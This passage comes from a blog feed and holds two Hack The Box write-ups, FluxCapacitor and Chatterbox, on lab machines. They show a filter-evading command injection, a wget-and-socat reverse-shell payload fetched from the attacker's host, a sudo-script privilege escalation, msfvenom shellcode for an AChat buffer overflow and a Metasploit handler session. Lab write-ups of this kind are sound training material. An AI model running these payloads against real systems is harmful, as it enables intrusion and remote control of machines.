&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;root@fluxcapacitor:/home/themiddle# &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /root
&lt;span class=&quot;gp&quot;&gt;root@fluxcapacitor:~# &lt;/span&gt;cat root.txt
...[redacted]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Hope this helped :D&lt;/p&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><summary type="html">Intro FluxCapacitor was both a pretty interesting, but annoying &amp;amp; the frustrating box while I was doing it my first time around – mainly due to my lack of experience with wfuzz. Overall once I finally completed the box, and completed a second take on it, flux taught me quite a few tricks, especially when it came to web fuzzing utilities. I highly recommend you take a crack at it if you have the time. Tools Used Nmap wfuzz cURL socat Initial Scanning Let’s begin by scanning the machine FluxCapacitor at (10.10.10.69) with nmap. root@dastinia:~/htb/fluxcapacitor# nmap -T4 -sC -sV -n 10.10.10.69 -oA fluxcapacitor_inital Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-09 18:50 EDT Nmap scan report for 10.10.10.69 Host is up (0.18s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http SuperWAF | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found | Date: Wed, 09 May 2018 22:50:46 GMT ......... [TRUNCATED]...... From our initial scan it seems as though the only service flux has is a web server. In the background, I’ll go ahead and run a full port scan to ensure I didn’t potentially miss any additional ports/services. root@dastinia:~/htb/fluxcapacitor# nmap -T4 -sC -sV -n -p- 10.10.10.69 -oA fluxcapacitor_fullscan Enumeration Visiting the web server in our browser gives us a pretty bare site, and uneventful site. Viewing the source of the site reveals some interesting information in a comment. &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;Keep Alive&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; OK: node1 alive &amp;lt;!-- Please, add timestamp with something like: &amp;lt;script&amp;gt; $.ajax({ type: &quot;GET&quot;, url: '/sync' }); &amp;lt;/script&amp;gt; --&amp;gt; &amp;lt;hr/&amp;gt; FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb&amp;lt;br&amp;gt; &amp;lt;em&amp;gt;&amp;lt;met&amp;gt;&amp;lt;doc&amp;gt;&amp;lt;brown&amp;gt;Roads? Where we're going, we don't need roads.&amp;lt;/brown&amp;gt;&amp;lt;/doc&amp;gt;&amp;lt;/met&amp;gt;&amp;lt;/em&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; It seems that there is a route for a page located at /sync in this application, which potentially has to do something with time. Attempting to visit the /sync page in our browser automatically redirects us to a 403 Forbidden error message. After attempting some research about openresty/1.13.6.1 I discovered that OpenResty from what I understood was a sort of web scriptable web server built on nginx. I tried cURL’ing the page to see if there was any sort of “filtering” or content change based on what client you used to access the page. root@dastinia:~# curl http://10.10.10.69/sync 20180513T23:25:20 Awesome we see a timestamp – after a bit of fiddling around you discover that certain user agents are being filtered like the firefox &amp;amp; gobuster user agents. Fuzzing /sync We know that /sync is doing something underneath the hood, so the next step we can take is to try and fuzz for parameters &amp;amp; see how the application reacts, in the hopes of discovering additional functionality. We can use wfuzz tool to complete this task. root@dastinia:~/htb/fluxcapacitor# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.69/sync?FUZZ=echo Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.69/sync?FUZZ=hostname Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=200 2 L 1 W 19 Ch &quot;# directory-list-2.3-medium.txt&quot; 000002: C=200 2 L 1 W 19 Ch &quot;#&quot; 000007: C=200 2 L 1 W 19 Ch &quot;# license, visit http://creativecommons.org/licenses/by-sa/3.0/&quot; 000003: C=200 2 L 1 W 19 Ch &quot;# Copyright 2007 James Fisher&quot; 000004: C=200 2 L 1 W 19 Ch &quot;#&quot; 000005: C=200 2 L 1 W 19 Ch &quot;# This work is licensed under the Creative Commons&quot; 000006: C=200 2 L 1 W 19 Ch &quot;# Attribution-Share Alike 3.0 License. To view a copy of this&quot; 000008: C=200 2 L 1 W 19 Ch &quot;# or send a letter to Creative Commons, 171 Second Street,&quot; 000009: C=200 2 L 1 W 19 Ch &quot;# Suite 300, San Francisco, California, 94105, USA.&quot; 000010: C=200 2 L 1 W 19 Ch &quot;#&quot; 000027: C=200 2 L 1 W 19 Ch &quot;search&quot; 000028: C=200 2 L 1 W 19 Ch &quot;spacer&quot; 000030: C=200 2 L 1 W 19 Ch &quot;11&quot; 000029: C=200 2 L 1 W 19 Ch &quot;privacy&quot; 000031: C=200 2 L 1 W 19 Ch &quot;logo&quot; 000032: C=200 2 L 1 W 19 Ch &quot;blog&quot; 000033: C=200 2 L 1 W 19 Ch &quot;new&quot; 000011: C=200 2 L 1 W 19 Ch &quot;# Priority ordered case sensative list, where entries were found&quot; 000034: C=200 2 L 1 W 19 Ch &quot;10&quot; 000035: C=200 2 L 1 W 19 Ch &quot;cgi-bin&quot; 000036: C=200 2 L 1 W 19 Ch &quot;faq&quot; 000037: C=200 2 L 1 W 19 Ch &quot;rss&quot; 000040: C=200 2 L 1 W 19 Ch &quot;default&quot; 000038: C=200 2 L 1 W 19 Ch &quot;home&quot; 000039: C=200 2 L 1 W 19 Ch &quot;img&quot; 000041: C=200 2 L 1 W 19 Ch &quot;2005&quot; ........[TRUNCATED]........ As we can see we are getting a large amount of 200 responses all of with length 19 characters. They are basically the time garbage responses so we can use this as the baseline of stuff to ignore/filter out, so anything different then the 200 or Char 19 is something we should potentially investigate further. root@dastinia:~/htb/fluxcapacitor# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh=19 http://10.10.10.69/sync?FUZZ=echo Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.69/sync?FUZZ=echo Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 009874: C=403 7 L 10 W 175 Ch &quot;opt&quot; 010679: C=200 2 L 1 W 19 Ch &quot;NAS&quot; Interesting we got a different response from our filter word which means that opt has a high change of being the parameter that /sync is looking for. Side Note: This took some time, and looking back at it, I should have used a more tailored list like the Seclist Burp Parameter Names word list. Second time around doing this box it took less than two minutes to find the correct parameter. In the future, I should have done a bit more research into finding a bit more optimal list, doing so would have made this much easier. After fiddling around with the formatting &amp;amp; trying a few different escape mechanisms (it would 403 if you just straight up gave it a command) code execution was successfully achieved. Getting Code Execution root@dastinia:~/htb/fluxcapacitor# curl &quot;http://10.10.10.69/sync?opt='? \h\ostname'&quot; fluxcapacitor bash: -c: option requires an argument root@dastinia:~/htb/fluxcapacitor# curl &quot;http://10.10.10.69/sync?opt='? \u\name -a'&quot; Linux fluxcapacitor 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux bash: -c: option requires an argument Getting User Shell You very quickly find out that there’s a multitude of characters and words being filtered. The next objective is to get a reverse shell so we don’t have to keep interacting with it through cURL. Socat is my tool of choice. It’s so versatile if I have the opportunity to use it, I will…. Using forward slashes didn’t work particularly well with longer commands, so we are going to make the payload that we want the index.html of our python SimpleHTTPServer so that when we curl the page the command we want is what we see like so: root@dastinia:~/htb/fluxcapacitor# curl &quot;http://10.10.10.69/sync?opt='? c\u\rl 10.10.14.27:9999 '&quot; wget -q http://10.10.14.27:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.27:8282 bash: -c: option requires an argument root@dastinia:~/htb/fluxcapacitor# curl &quot;http://10.10.10.69/sync?opt='? c\u\rl 10.10.14.27:9999 -o /tmp/a'&quot; bash: -c: option requires an argument root@dastinia:~/htb/fluxcapacitor# curl &quot;http://10.10.10.69/sync?opt='? b\a\s\h /tmp/a '&quot; root@dastinia:~/htb/fluxcapacitor# socat file:`tty`,raw,echo=0 tcp-listen:8282 nobody@fluxcapacitor:/$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) nobody@fluxcapacitor:/$ nobody@fluxcapacitor:/home/FluxCapacitorInc$ ls -la total 12 drwxr-xr-x 2 nobody root 4096 Dec 5 14:58 . drwxr-xr-x 4 root root 4096 Dec 5 14:58 .. -rw-r--r-- 1 root root 33 Dec 5 14:58 user.txt nobody@fluxcapacitor:/home/FluxCapacitorInc$ cat user.txt [redacted] Privesc &amp;amp; Getting Root One of the first things I always do whenever I get on a box is running a sudo -l to see what sudo commands the current user can run. For a good set of boxes running this first can potentially save you a whole lot of time while privescing… nobody@fluxcapacitor:/home/FluxCapacitorInc$ sudo -l Matching Defaults entries for nobody on fluxcapacitor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nobody may run the following commands on fluxcapacitor: (ALL) ALL (root) NOPASSWD: /home/themiddle/.monit So in this case it looks like that we can run whatever /home/themiddle/.monit is as the root user. So this very likely is our path for privesc. Lets see what this file contains… nobody@fluxcapacitor:/home/FluxCapacitorInc$ cd /home/themiddle/ nobody@fluxcapacitor:/home/themiddle$ cat .monit #!/bin/bash if [ &quot;$1&quot; == &quot;cmd&quot; ]; then echo &quot;Trying to execute ${2}&quot; CMD=$(echo -n ${2} | base64 -d) bash -c &quot;$CMD&quot; fi So from what it looks like .monit takes in a parameter cmd which you can then pass in a base64 encoded string of whatever you want (your command), then it base64 decodes the value &amp;amp; passes the result into bash -c $value. We can very easily use this script to get ourselves a root shell with little effort. nobody@fluxcapacitor:/home/themiddle$ echo &quot;/bin/bash&quot; | base64 L2Jpbi9iYXNoCg== nobody@fluxcapacitor:/home/themiddle$ sudo /home/themiddle/.monit cmd L2Jpbi9iYXNoCg== Trying to execute L2Jpbi9iYXNoCg== Root :D root@fluxcapacitor:/home/themiddle# id uid=0(root) gid=0(root) groups=0(root) root@fluxcapacitor:/home/themiddle# cd /root root@fluxcapacitor:~# cat root.txt ...[redacted]... Hope this helped :D</summary></entry><entry><title type="html">Hack the Box - Chatterbox Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-chatterbox-writeup/" rel="alternate" type="text/html" title="Hack the Box - Chatterbox Write up" /><published>2018-05-13T00:00:00-04:00</published><updated>2018-05-13T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-chatterbox-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-chatterbox-writeup/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/chatterbox/3.png&quot; alt=&quot;&amp;quot;Chatterbox&amp;quot;&quot; title=&quot;Chatterbox&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used.&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/msfvenom/&quot;&gt;Msfvenom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/searchsploit/&quot;&gt;SearchSploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Like with every box, lets start off with an nmap scan against the Chatterbox machine (10.10.10.74)…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/chatterbox# nmap -T4 -sC -sV -n 10.10.10.74 -oA chatterbox_inital_scan
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 21:50 EDT
Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 45.00% done; ETC: 21:53 (0:01:28 remaining)
Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 47.00% done; ETC: 21:53 (0:01:25 remaining)Nmap scan report for 10.10.10.74Host is up (0.16s latency).
All 1000 scanned ports on 10.10.10.74 are filtered
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.17 seconds
root@dastinia:~/htb/chatterbox#
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Interestingly enough, there were no ports alive… There might be some sort of filtering is taking place on the box, or it’s getting destroyed by other HTB users so I ran a slower full port scan against the box.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/chatterbox# cat chatterbox_min_rate_500.nmap
# Nmap 7.70 scan initiated Tue May 22 22:12:31 2018 as: nmap -sC -sV -n -sT -p- --min-rate 500 -oA chatterbox_min_rate_500 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up (0.16s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE    VERSION
9255/tcp open  mon?
9256/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 22 22:18:41 2018 -- 1 IP address (1 host up) scanned in 370.95 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Interesting we are getting responses on two ports, but with no useful information as to what service is running on the port. 
I’m going to scan (yet again) to further enumerate what the service is. But this time we are going to run it at a &lt;code class=&quot;highlighter-rouge&quot;&gt;T2&lt;/code&gt; rate in case the firewall is dropping traffic due to speed.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/chatterbox# nmap -T2  --max-retries 5 -sV -sC -p9255,9256 10.10.10.74 -oA chatterbox_p9255-9256_sc
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 22:34 EDT
Nmap scan report for 10.10.10.74
Host is up (0.16s latency).

PORT     STATE SERVICE VERSION
9255/tcp open  http    AChat chat system httpd
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open  achat   AChat chat system

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.60 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;enumerating-port-9255-achat-chat-system-httpd&quot;&gt;Enumerating Port 9255 (AChat Chat System httpd)&lt;/h3&gt;

&lt;p&gt;If you complete some research on “AChat” you discover a few CVE for the application, including a buffer overflow exploit for &lt;a href=&quot;https://www.exploit-db.com/exploits/36025/&quot;&gt;AChat version 0.150 beta7&lt;/a&gt;, which you can find on searchsploit/exploit-db.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/chatterbox/2.png&quot; alt=&quot;&amp;quot;SearchSploit Output for AChat&amp;quot;&quot; title=&quot;SearchSploit Output for AChat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After some quick googling, and looking at the &lt;a href=&quot;https://sourceforge.net/projects/achat/?source=navbar&quot;&gt;AChat  project’s sourceforge&lt;/a&gt; page you will discover that the last version of Achat to be released was &lt;code class=&quot;highlighter-rouge&quot;&gt;AChat 0.150 beta7&lt;/code&gt;. So there’s a pretty high chance that this is version of the software running on Chatterbox.&lt;/p&gt;

&lt;h3 id=&quot;modifying-exploit-shellcode--testing-locally&quot;&gt;Modifying Exploit ShellCode &amp;amp; Testing Locally&lt;/h3&gt;

&lt;p&gt;One of the first things I pay attention to is the architecture of the machine that this exploit was tested or developed for (in this case Windows 7 32bit),and what the POC exploit code is executing when it triggers. Usually the exploit developer will let you know what versions of &lt;em&gt;“x”&lt;/em&gt; the following was tested as working on. For this exploit, the exploit developer generated shellcode to execute the calculator program when the exploit triggers. This is pretty useless to us, so we are going to drop-in-replace the &lt;code class=&quot;highlighter-rouge&quot;&gt;exac/calc&lt;/code&gt; shellcode for simple &lt;code class=&quot;highlighter-rouge&quot;&gt;reverse shell&lt;/code&gt; payload and go from there.&lt;/p&gt;

&lt;p&gt;I downloaded a copy of the vulnerable AChat program, and ran it on a 64-bit Windows 7 virtual machine.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;generating windows reverse shell shellcode with msfvenom&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/chatterbox# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp  LHOST=192.168.30.130 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 808 (iteration=0)
x86/unicode_mixed chosen with final size 808
Payload size: 808 bytes
Final size of python file: 3872 bytes
buf =  &quot;&quot;
buf += &quot;\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49&quot;
buf += &quot;\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41&quot;
buf += &quot;\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41&quot;
buf += &quot;\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51&quot;
buf += &quot;\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31&quot;
buf += &quot;\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41&quot;
buf += &quot;\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41&quot;
buf += &quot;\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41&quot;
buf += &quot;\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41&quot;
buf += &quot;\x47\x42\x39\x75\x34\x4a\x42\x4b\x4c\x69\x58\x32\x62&quot;
buf += &quot;\x49\x70\x39\x70\x6d\x30\x4f\x70\x62\x69\x48\x65\x30&quot;
buf += &quot;\x31\x79\x30\x71\x54\x64\x4b\x52\x30\x6c\x70\x42\x6b&quot;
...Snip....
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;After executing the modified exploit…&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/shell/reverse_tcp
PAYLOAD =&amp;gt; windows/shell/reverse_tcp
msf exploit(multi/handler) &amp;gt; set LHOST 192.168.30.130
LHOST =&amp;gt; 192.168.30.130
msf exploit(multi/handler) &amp;gt; set LPORT 8282
LPORT =&amp;gt; 8282
msf exploit(multi/handler) &amp;gt; exploit -j -z
[*] Exploit running as background job 1.

[*] Started reverse TCP handler on 192.168.30.130:8282

[*] Command shell session 2 opened (192.168.30.130:8282 -&amp;gt; 192.168.30.141:49389) at 2018-05-26 16:44:36 -0400
msf exploit(multi/handler) &amp;gt; sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x86/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  192.168.30.130:8282 -&amp;gt; 192.168.30.141:49388 (192.168.30.141)
  2         shell x86/windows                                                                                    192.168.30.130:8282 -&amp;gt; 192.168.30.141:49389 (192.168.30.141)


msf exploit(multi/handler) &amp;gt; sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32&amp;gt;whoami
win-ecc1ucer094\medic
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now we know that the exploit works &amp;amp; we can successfully get a shell. It may seem like overkill, but I feel like it’s good to understand what a potentially unknown exploit is doing on a local machine before you try exploiting something remotely. It will save tons of time trying to debug why &lt;em&gt;x&lt;/em&gt; or &lt;em&gt;y&lt;/em&gt; isn’t working, or in determining if the machine simply needs a reset because the service crashed, or there’s other strangeness taking place.&lt;/p&gt;

&lt;h2 id=&quot;getting-shellroottxt&quot;&gt;Getting Shell/Root.txt&lt;/h2&gt;
&lt;p&gt;So we know the exploit works, so let’s modify our msfvenom command to give us a reverse shell for our HTB IP.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp  LHOST=10.10.15.226 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;after executing the modified exploit…&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use exploit/multi/handler
msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/shell/reverse_tcp
PAYLOAD =&amp;gt; windows/shell/reverse_tcp
msf exploit(multi/handler) &amp;gt;  set LHOST tun0
LHOST =&amp;gt; tun0
msf exploit(multi/handler) &amp;gt; set LPORT 8282
LPORT =&amp;gt; 8282
msf exploit(multi/handler) &amp;gt; set ExitOnSession False
ExitOnSession =&amp;gt; false
msf exploit(multi/handler) &amp;gt; exploit -j -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.15.226:8282
msf exploit(multi/handler) &amp;gt; [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.74
[*] Command shell session 1 opened (10.10.15.226:8282 -&amp;gt; 10.10.10.74:49178) at 2018-06-14 21:55:43 -0400
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32&amp;gt;whoami
chatterbox\alfred
C:\Users\Alfred\Desktop&amp;gt;type user.txt
[redacted]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;There seemed to be a file permissions misconfiguration on the local &lt;code class=&quot;highlighter-rouge&quot;&gt;administrators&lt;/code&gt; folder, and the &lt;code class=&quot;highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; file. I assumed this was the 
method we were supposed to take to get the &lt;code class=&quot;highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; flag. &lt;code class=&quot;highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; is owned by &lt;code class=&quot;highlighter-rouge&quot;&gt;Alfred&lt;/code&gt; so we can use &lt;code class=&quot;highlighter-rouge&quot;&gt;icacls&lt;/code&gt; to give full permissions on the &lt;code class=&quot;highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; file so we can read it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;getting root.txt by using icalcs to grant full permissions on the file&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator\Desktop&amp;gt;dir /Q
 Volume in drive C has no label.
 Volume Serial Number is 9034-6528

 Directory of C:\Users\Administrator\Desktop

12/10/2017  07:50 PM    &amp;lt;DIR&amp;gt;          BUILTIN\Administrators .
12/10/2017  07:50 PM    &amp;lt;DIR&amp;gt;          NT AUTHORITY\SYSTEM    ..
12/10/2017  07:50 PM                32 CHATTERBOX\Alfred      root.txt
               1 File(s)             32 bytes
               2 Dir(s)  17,758,883,840 bytes free

C:\Users\Administrator\Desktop&amp;gt;icacls.exe root.txt /grant CHATTERBOX\Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

C:\Users\Administrator\Desktop&amp;gt;type root.txt
[redacted]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><summary type="html">Introduction Tools Used. Metasploit Framework Msfvenom Nmap SearchSploit Enumeration Initial Scanning Like with every box, lets start off with an nmap scan against the Chatterbox machine (10.10.10.74)… root@dastinia:~/htb/chatterbox# nmap -T4 -sC -sV -n 10.10.10.74 -oA chatterbox_inital_scan Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 21:50 EDT Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 45.00% done; ETC: 21:53 (0:01:28 remaining) Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 47.00% done; ETC: 21:53 (0:01:25 remaining)Nmap scan report for 10.10.10.74Host is up (0.16s latency). All 1000 scanned ports on 10.10.10.74 are filtered Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 161.17 seconds root@dastinia:~/htb/chatterbox# Interestingly enough, there were no ports alive… There might be some sort of filtering is taking place on the box, or it’s getting destroyed by other HTB users so I ran a slower full port scan against the box. root@dastinia:~/htb/chatterbox# cat chatterbox_min_rate_500.nmap # Nmap 7.70 scan initiated Tue May 22 22:12:31 2018 as: nmap -sC -sV -n -sT -p- --min-rate 500 -oA chatterbox_min_rate_500 10.10.10.74 Nmap scan report for 10.10.10.74 Host is up (0.16s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 9255/tcp open mon? 9256/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue May 22 22:18:41 2018 -- 1 IP address (1 host up) scanned in 370.95 seconds Interesting we are getting responses on two ports, but with no useful information as to what service is running on the port. I’m going to scan (yet again) to further enumerate what the service is. But this time we are going to run it at a T2 rate in case the firewall is dropping traffic due 